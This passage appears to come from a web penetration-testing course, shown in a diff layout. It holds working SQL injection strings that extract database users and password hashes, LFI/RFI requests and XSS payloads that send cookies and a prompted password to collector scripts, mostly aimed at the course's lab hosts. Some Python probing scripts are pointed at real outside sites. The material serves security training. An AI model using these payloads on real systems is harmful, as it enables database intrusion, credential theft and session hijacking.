1637 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer | |
1638 | ||
1639 | - Found parameter passing (answer yes to question 1) | |
1640 | - | ----------- ############### # Day 4: Web App Testing ############### ----------- |
1640 | + | |
1641 | ||
1642 | ---------------------------Type This----------------------------------- | |
1643 | ||
1644 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' | |
1645 | ||
1646 | ----------------------------------------------------------------------- | |
1647 | ||
1648 | Page returns the following error: | |
1649 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1 | |
1650 | ||
1651 | ||
1652 | ||
1653 | In order to perform union-based sql injection - we must first determine the number of columns in this query. | |
1654 | We do this using the ORDER BY | |
1655 | ||
1656 | ---------------------------Type This----------------------------------- | |
1657 | ||
1658 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- + | |
1659 | ----------------------------------------------------------------------- | |
1660 | ||
1661 | Page returns the following error: | |
1662 | Unknown column '100' in 'order clause' | |
1663 | ||
1664 | ||
1665 | ---------------------------Type This----------------------------------- | |
1666 | ||
1667 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- + | |
1668 | ----------------------------------------------------------------------- | |
1669 | ||
1670 | Page returns the following error: | |
1671 | Unknown column '50' in 'order clause' | |
1672 | ||
1673 | ||
1674 | ---------------------------Type This----------------------------------- | |
1675 | ||
1676 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- + | |
1677 | ----------------------------------------------------------------------- | |
1678 | ||
1679 | Page returns the following error: | |
1680 | Unknown column '25' in 'order clause' | |
1681 | ||
1682 | ||
1683 | ---------------------------Type This----------------------------------- | |
1684 | ||
1685 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- + | |
1686 | ----------------------------------------------------------------------- | |
1687 | ||
1688 | Page returns the following error: | |
1689 | Unknown column '12' in 'order clause' | |
1690 | ||
1691 | ||
1692 | ---------------------------Type This----------------------------------- | |
1693 | ||
1694 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- + | |
1695 | ----------------------------------------------------------------------- | |
1696 | ||
1697 | ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns | |
1698 | ||
1699 | ||
1700 | ||
1701 | Now we build out the union all select statement with the correct number of columns | |
1702 | ||
1703 | Reference: | |
1704 | http://www.techonthenet.com/sql/union.php | |
1705 | ||
1706 | ||
1707 | ---------------------------Type This----------------------------------- | |
1708 | ||
1709 | https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- + | |
1710 | ----------------------------------------------------------------------- | |
1711 | ||
1712 | ||
1713 | ||
1714 | Now we negate the parameter value 'acer' by turning into the word 'null': | |
1715 | ---------------------------Type This----------------------------------- | |
1716 | ||
1717 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j | |
1718 | ----------------------------------------------------------------------- | |
1719 | ||
1720 | We see that a 4 and a 5 are on the screen. These are the columns that will echo back data | |
1721 | ||
1722 | ||
1723 | Use a cheat sheet for syntax: | |
1724 | http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet | |
1725 | ||
1726 | ---------------------------Type This----------------------------------- | |
1727 | ||
1728 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j | |
1729 | ||
1730 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j | |
1731 | ||
1732 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- + | |
1733 | ||
1734 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- + | |
1735 | ||
1736 | ||
1737 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a | |
1738 | ||
1739 | ----------------------------------------------------------------------- | |
1740 | ||
1741 | ||
1742 | ||
1743 | ######################## | |
1744 | # Question I get a lot # | |
1745 | ######################## | |
1746 | Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string. | |
1747 | ||
1748 | Here is a good reference for it: | |
1749 | https://www.symantec.com/connect/blogs/mysql-injection-comments-comments | |
1750 | ||
1751 | Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter. | |
1752 | ||
1753 | ||
1754 | ||
1755 | ||
1756 | ######################### | |
1757 | # File Handling Attacks # | |
1758 | ######################### | |
1759 | ||
1760 | Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file) | |
1761 | ||
1762 | ---------------------------Type This----------------------------------- | |
1763 | ||
1764 | https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt | |
1765 | ||
1766 | ----------------------------------------------------------------------- | |
1767 | ||
1768 | ||
1769 | See if you can read files on the file system: | |
1770 | ---------------------------Type This----------------------------------- | |
1771 | ||
1772 | https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd | |
1773 | ----------------------------------------------------------------------- | |
1774 | ||
1775 | We call this attack a Local File Include or LFI. | |
1776 | ||
1777 | Now let's find some text out on the internet somewhere: | |
1778 | https://www.gnu.org/software/hello/manual/hello.txt | |
1779 | ||
1780 | ||
1781 | Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI: | |
1782 | ||
1783 | ---------------------------Type This----------------------------------- | |
1784 | ||
1785 | https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt | |
1786 | ----------------------------------------------------------------------- | |
1787 | ||
1788 | ######################################################################################### | |
1789 | # SQL Injection # | |
1790 | # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx # | |
1791 | ######################################################################################### | |
1792 | ||
1793 | ||
1794 | - Another quick way to test for SQLI is to remove the paramter value | |
1795 | ||
1796 | ||
1797 | ############################# | |
1798 | # Error-Based SQL Injection # | |
1799 | ############################# | |
1800 | ---------------------------Type This----------------------------------- | |
1801 | ||
1802 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- | |
1803 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- | |
1804 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- | |
1805 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- | |
1806 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- | |
1807 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases | |
1808 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- | |
1809 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- | |
1810 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- | |
1811 | ||
1812 | ----------------------------------------------------------------------- | |
1813 | ||
1814 | ||
1815 | ||
1816 | ############################# | |
1817 | # Union-Based SQL Injection # | |
1818 | ############################# | |
1819 | ||
1820 | ---------------------------Type This----------------------------------- | |
1821 | ||
1822 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100-- | |
1823 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50-- | |
1824 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25-- | |
1825 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10-- | |
1826 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5-- | |
1827 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6-- | |
1828 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7-- | |
1829 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8-- | |
1830 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9-- | |
1831 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- | |
1832 | ----------------------------------------------------------------------- | |
1833 | ||
1834 | We are using a union select statement because we are joining the developer's query with one of our own. | |
1835 | Reference: | |
1836 | http://www.techonthenet.com/sql/union.php | |
1837 | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. | |
1838 | It removes duplicate rows between the various SELECT statements. | |
1839 | ||
1840 | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. | |
1841 | ||
1842 | ---------------------------Type This----------------------------------- | |
1843 | ||
1844 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- | |
1845 | ----------------------------------------------------------------------- | |
1846 | ||
1847 | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. | |
1848 | ||
1849 | ---------------------------Type This----------------------------------- | |
1850 | ||
1851 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- | |
1852 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- | |
1853 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- | |
1854 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- | |
1855 | ||
1856 | ----------------------------------------------------------------------- | |
1857 | ||
1858 | ||
1859 | ||
1860 | ||
1861 | - Another way is to see if you can get the backend to perform an arithmetic function | |
1862 | ||
1863 | ---------------------------Type This----------------------------------- | |
1864 | ||
1865 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2) | |
1866 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2) | |
1867 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1) | |
1868 | ||
1869 | ||
1870 | ||
1871 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1-- | |
1872 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2-- | |
1873 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1 | |
1874 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1# | |
1875 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99# | |
1876 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1# | |
1877 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3-- | |
1878 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0# | |
1879 | ||
1880 | ||
1881 | ||
1882 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1-- | |
1883 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2-- | |
1884 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1-- | |
1885 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1-- | |
1886 | ||
1887 | ----------------------------------------------------------------------- | |
1888 | ||
1889 | ||
1890 | ############################### | |
1891 | # Blind SQL Injection Testing # | |
1892 | ############################### | |
1893 | Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER | |
1894 | ||
1895 | 3 - Total Characters | |
1896 | ---------------------------Type This----------------------------------- | |
1897 | ||
1898 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- | |
1899 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- | |
1900 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) | |
1901 | ----------------------------------------------------------------------- | |
1902 | ||
1903 | Let's go for a quick check to see if it's DBO | |
1904 | ||
1905 | ---------------------------Type This----------------------------------- | |
1906 | ||
1907 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- | |
1908 | ----------------------------------------------------------------------- | |
1909 | ||
1910 | Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun. | |
1911 | ||
1912 | ---------------------------Type This----------------------------------- | |
1913 | ||
1914 | D - 1st Character | |
1915 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- | |
1916 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- | |
1917 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- | |
1918 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) | |
1919 | ||
1920 | B - 2nd Character | |
1921 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1922 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1923 | ||
1924 | O - 3rd Character | |
1925 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1926 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- | |
1927 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1928 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1929 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- | |
1930 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- | |
1931 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1932 | ||
1933 | ----------------------------------------------------------------------- | |
1934 | ||
1935 | ||
1936 | ||
1937 | ||
1938 | ||
1939 | ||
1940 | ||
1941 | ################################ | |
1942 | # Playing with session cookies # | |
1943 | ################################ | |
1944 | ||
1945 | ----------------------------------------------------------------------- | |
1946 | Step 1: Browse to the shopping cart page NewEgg.com | |
1947 | -------------------Browse to this webpage in Firefox------------------------------ | |
1948 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
1949 | ---------------------------------------------------------------------------------- | |
1950 | ||
1951 | ||
1952 | ||
1953 | Step 2: View the current session ID | |
1954 | ---Type this over the shopping car URL in the address bar (don't paste it )--------- | |
1955 | javascript:void(document.write(document.cookie)) | |
1956 | ------------------------------------------------------------------------------------ | |
1957 | ||
1958 | You should see your session cookie and if you don't try again in a different browser | |
1959 | ||
1960 | ||
1961 | ||
1962 | Step 3: Go back to the shopping cart page (click the back button) | |
1963 | --------------------------------------------------------------------------------- | |
1964 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
1965 | --------------------------------------------------------------------------------- | |
1966 | ||
1967 | ||
1968 | Step 4: Now let's modify the session ID | |
1969 | ---Type this over the shopping car URL in the address bar (don't paste it )--------- | |
1970 | javascript:void(document.cookie="PHPSessionID=wow-this-is-fun") | |
1971 | ------------------------------------------------------------------------------------ | |
1972 | ||
1973 | ||
1974 | ||
1975 | Step 5: Go back to the shopping cart page (click the back button) | |
1976 | --------------------------------------------------------------------------------- | |
1977 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
1978 | --------------------------------------------------------------------------------- | |
1979 | ||
1980 | ||
1981 | ||
1982 | Step 6: View the current session ID | |
1983 | ---Type this over the shopping car URL in the address bar (don't paste it )--------- | |
1984 | javascript:void(document.write(document.cookie)) | |
1985 | ------------------------------------------------------------------------------------ | |
1986 | ||
1987 | ----------------------------------------------------------------------- | |
1988 | ||
1989 | ######################################################### | |
1990 | # What is XSS # | |
1991 | # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx # | |
1992 | ######################################################### | |
1993 | ||
1994 | OK - what is Cross Site Scripting (XSS) | |
1995 | ||
1996 | 1. Use Firefox to browse to the following location: | |
1997 | ---------------------------Type This----------------------------------- | |
1998 | ||
1999 | https://phpapp.infosecaddicts.com/xss_practice/ | |
2000 | ----------------------------------------------------------------------- | |
2001 | ||
2002 | A really simple search page that is vulnerable should come up. | |
2003 | ||
2004 | ||
2005 | ||
2006 | ||
2007 | 2. In the search box type: | |
2008 | ---------------------------Type This----------------------------------- | |
2009 | ||
2010 | <script>alert('So this is XSS')</script> | |
2011 | ----------------------------------------------------------------------- | |
2012 | ||
2013 | ||
2014 | This should pop-up an alert window with your message in it proving XSS is in fact possible. | |
2015 | Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/ | |
2016 | ||
2017 | ||
2018 | 3. In the search box type: | |
2019 | ---------------------------Type This----------------------------------- | |
2020 | ||
2021 | <script>alert(document.cookie)</script> | |
2022 | ----------------------------------------------------------------------- | |
2023 | ||
2024 | ||
2025 | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. | |
2026 | Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/ | |
2027 | ||
2028 | 4. Now replace that alert script with: | |
2029 | ---------------------------Type This----------------------------------- | |
2030 | ||
2031 | <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script> | |
2032 | ----------------------------------------------------------------------- | |
2033 | ||
2034 | ||
2035 | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. | |
2036 | ||
2037 | ||
2038 | 5. Now view the stolen cookie at: | |
2039 | ---------------------------Type This----------------------------------- | |
2040 | ||
2041 | https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html | |
2042 | ----------------------------------------------------------------------- | |
2043 | ||
2044 | ||
2045 | The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. | |
2046 | ||
2047 | ||
2048 | ||
2049 | ||
2050 | ||
2051 | ||
2052 | ############################ | |
2053 | # A Better Way To Demo XSS # | |
2054 | ############################ | |
2055 | ||
2056 | ||
2057 | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. | |
2058 | ||
2059 | ||
2060 | Use Firefox to browse to the following location: | |
2061 | ---------------------------Type This----------------------------------- | |
2062 | ||
2063 | https://phpapp.infosecaddicts.com/xss_practice/ | |
2064 | ----------------------------------------------------------------------- | |
2065 | ||
2066 | ||
2067 | ||
2068 | Paste this in the search box | |
2069 | ---------------------------- | |
2070 | ||
2071 | ||
2072 | ---------------------------Type This----------------------------------- | |
2073 | ||
2074 | <script> | |
2075 | password=prompt('Your session is expired. Please enter your password to continue',' '); | |
2076 | document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">"); | |
2077 | </script> | |
2078 | ----------------------------------------------------------------------- | |
2079 | ||
2080 | ||
2081 | Now view the stolen cookie at: | |
2082 | ---------------------------Type This----------------------------------- | |
2083 | ||
2084 | https://phpapp.infosecaddicts.com/xss_practice/passwords.html | |
2085 | ||
2086 | ----------------------------------------------------------------------- | |
2087 | ||
2088 | ||
2089 | ||
2090 | ||
2091 | ||
2092 | ||
2093 | ||
2094 | ################################ | |
2095 | # Web App Testing with Python3 # | |
2096 | ################################ | |
2097 | ||
2098 | ||
2099 | ||
2100 | ||
2101 | ||
2102 | ||
2103 | ############################## | |
2104 | # Bannergrabbing a webserver # | |
2105 | ############################## | |
2106 | ||
2107 | ---------------------------Type This----------------------------------- | |
2108 | nano bannergrab.py | |
2109 | ||
2110 | ||
2111 | ---------------------------Paste This---------------------------------- | |
2112 | ||
2113 | #!/usr/bin/env python3 | |
2114 | import sys | |
2115 | import socket | |
2116 | ||
2117 | # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/ | |
2118 | ||
2119 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
2120 | s.connect(("45.63.104.73", 80)) | |
2121 | s.send(("GET / HTTP/1.1\r\n\r\n").encode()) | |
2122 | ||
2123 | #Convert response to bytes | |
2124 | response = b"" | |
2125 | # or use encode() | |
2126 | #response = "".encode() | |
2127 | ||
2128 | while True: | |
2129 | data = s.recv(4096) | |
2130 | response += data | |
2131 | if not data: | |
2132 | break | |
2133 | s.close() | |
2134 | print(response.decode()) | |
2135 | ---------------------------------------------------------------------- | |
2136 | ||
2137 | ||
2138 | ---------------------------Type This----------------------------------- | |
2139 | python3 bannergrab.py | |
2140 | ----------------------------------------------------------------------- | |
2141 | ||
2142 | ||
2143 | ||
2144 | ######################################## | |
2145 | # Testing availability of HTTP methods # | |
2146 | ######################################## | |
2147 | ||
2148 | A very good practice for a penetration tester is to start by listing the various available HTTP methods. | |
2149 | Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods: | |
2150 | ||
2151 | To begin with, we need to import the requests library: | |
2152 | ||
2153 | ---------------------------Type This----------------------------------- | |
2154 | python3 | |
2155 | import requests | |
2156 | ----------------------------------------------------------------------- | |
2157 | ||
2158 | After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input. | |
2159 | ||
2160 | ---------------------------Type This----------------------------------- | |
2161 | method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST'] | |
2162 | ---------------------------------------------------------------------------- | |
2163 | ||
2164 | The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code. | |
2165 | ||
2166 | ---------------------------Type This----------------------------------- | |
2167 | for method in method_list: | |
2168 | req = requests.request(method, 'https://www.google.com') | |
2169 | print (method, req.status_code, req.reason) | |
2170 | ------------------------------------------------------------------------ | |
2171 | ||
2172 | ||
2173 | ---------------------------Type This----------------------------------- | |
2174 | for method in method_list: | |
2175 | req = requests.request(method, 'https://www.darkoperator.com') | |
2176 | print (method, req.status_code, req.reason) | |
2177 | ----------------------------------------------------------------------- | |
2178 | ||
2179 | ||
2180 | ---------------------------Type This----------------------------------- | |
2181 | for method in method_list: | |
2182 | req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php') | |
2183 | print (method, req.status_code, req.reason) | |
2184 | ----------------------------------------------------------------------- | |
2185 | ||
2186 | ||
2187 | ---------------------------Type This----------------------------------- | |
2188 | for method in method_list: | |
2189 | req = requests.request(method, 'http://www.dybedu.com') | |
2190 | print (method, req.status_code, req.reason) | |
2191 | ----------------------------------------------------------------------- | |
2192 | ||
2193 | ||
2194 | The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method. | |
2195 | ||
2196 | ---------------------------Type This----------------------------------- | |
2197 | if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: | |
2198 | print ('Cross Site Tracing(XST) is possible') | |
2199 | ---------------------------------------------------------------------- | |
2200 | ||
2201 | ||
2202 | *** Full code with example url: *** | |
2203 | ||
2204 | ---------------------------Type This----------------------------------- | |
2205 | nano xst.py | |
2206 | ||
2207 | ||
2208 | - | ------------------------------------------------------ |
2208 | + | |
2209 | #!/usr/bin/env python3 | |
2210 | import requests | |
2211 | method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST'] | |
2212 | - | ------------------------------------------------------ |
2212 | + | |
2213 | req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php') | |
2214 | print (method, req.status_code, req.reason) | |
2215 | - | ------------------------------------------------------ |
2215 | + | |
2216 | print ('Cross Site Tracing(XST) is possible') | |
2217 | ||
2218 | ------------------------------------------------------------------------- | |
2219 | - | ------------------------------------------------------ |
2219 | + | |
2220 | ||
2221 | After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’. | |
2222 | - | ------------------------------------------------------ |
2222 | + | |
2223 | ||
2224 | ---------------------------Type This----------------------------------- | |
2225 | python3 xst.py | |
2226 | - | ------------------------------------------------------ |
2226 | + | |
2227 | ||
2228 | ||
2229 | - | ------------------------------------------------------ |
2229 | + | |
2230 | ########################################## | |
2231 | # Foot printing by checking HTTP headers # | |
2232 | ########################################## | |
2233 | - | ------------------------------------------------------ |
2233 | + | |
2234 | ||
2235 | HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server: | |
2236 | ||
2237 | To begin with, let us import the requests library: | |
2238 | - | ------------------------------------------------------------- |
2238 | + | |
2239 | ------------------------ | |
2240 | import requests | |
2241 | - | ------------------------------------------------------------- |
2241 | + | |
2242 | ||
2243 | We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library. | |
2244 | ||
2245 | --------------------------------------------- | |
2246 | request = requests.get('enter the URL') | |
2247 | --------------------------------------------- | |
2248 | ||
2249 | Next, we will generate a list of headers about which you need the information. | |
2250 | ||
2251 | --------------------------------------------------------------------------------------------------------------- | |
2252 | header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length'] | |
2253 | --------------------------------------------------------------------------------------------------------------- | |
2254 | ||
2255 | Next is a try and except block. | |
2256 | ||
2257 | --------------------------------------------------- | |
2258 | for header in header_list: | |
2259 | ||
2260 | try: | |
2261 | result = request.headers[header] | |
2262 | print ('%s: %s' % (header, result)) | |
2263 | except Exception as err: | |
2264 | print ('%s: No Details Found' % header) | |
2265 | ||
2266 | --------------------------------------------------- | |
2267 | ||
2268 | ||
2269 | ||
2270 | ||
2271 | *** Example Full Code: *** | |
2272 | ||
2273 | ---------------------------Type This----------------------------------- | |
2274 | nano headercheck.py | |
2275 | ||
2276 | ||
2277 | ---------------------------Paste This---------------------------------- | |
2278 | #!/usr/bin/env python3 | |
2279 | import requests | |
2280 | request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php') | |
2281 | header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length'] | |
2282 | for header in header_list: | |
2283 | try: | |
2284 | result = request.headers[header] | |
2285 | print ('%s: %s' % (header, result)) | |
2286 | except Exception as err: | |
2287 | print ('%s: No Details Found' % header) | |
2288 | ---------------------------------------------------------------------------------------------------------------- | |
2289 | ||
2290 | ||
2291 | After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’. | |
2292 | ||
2293 | ||
2294 | ---------------------------Type This----------------------------------- | |
2295 | python3 headercheck.py | |
2296 | ----------------------------------------------------------------------- | |
2297 | ||
2298 | ||
2299 | ############################################## | |
2300 | # Testing insecure web server configurations # | |
2301 | ############################################## | |
2302 | ||
2303 | We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt. | |
2304 | ---------------------------Type This----------------------------------- | |
2305 | nano websites.txt | |
2306 | ||
2307 | ---------------------------Paste This---------------------------------- | |
2308 | https://www.google.com | |
2309 | https://www.cnn.com | |
2310 | https://foxnews.com | |
2311 | https://phpapp.infosecaddicts.com/ | |
2312 | https://aspdotnetapp.infosecaddicts.com/ | |
2313 | https://dvws1.infosecaddicts.com/ | |
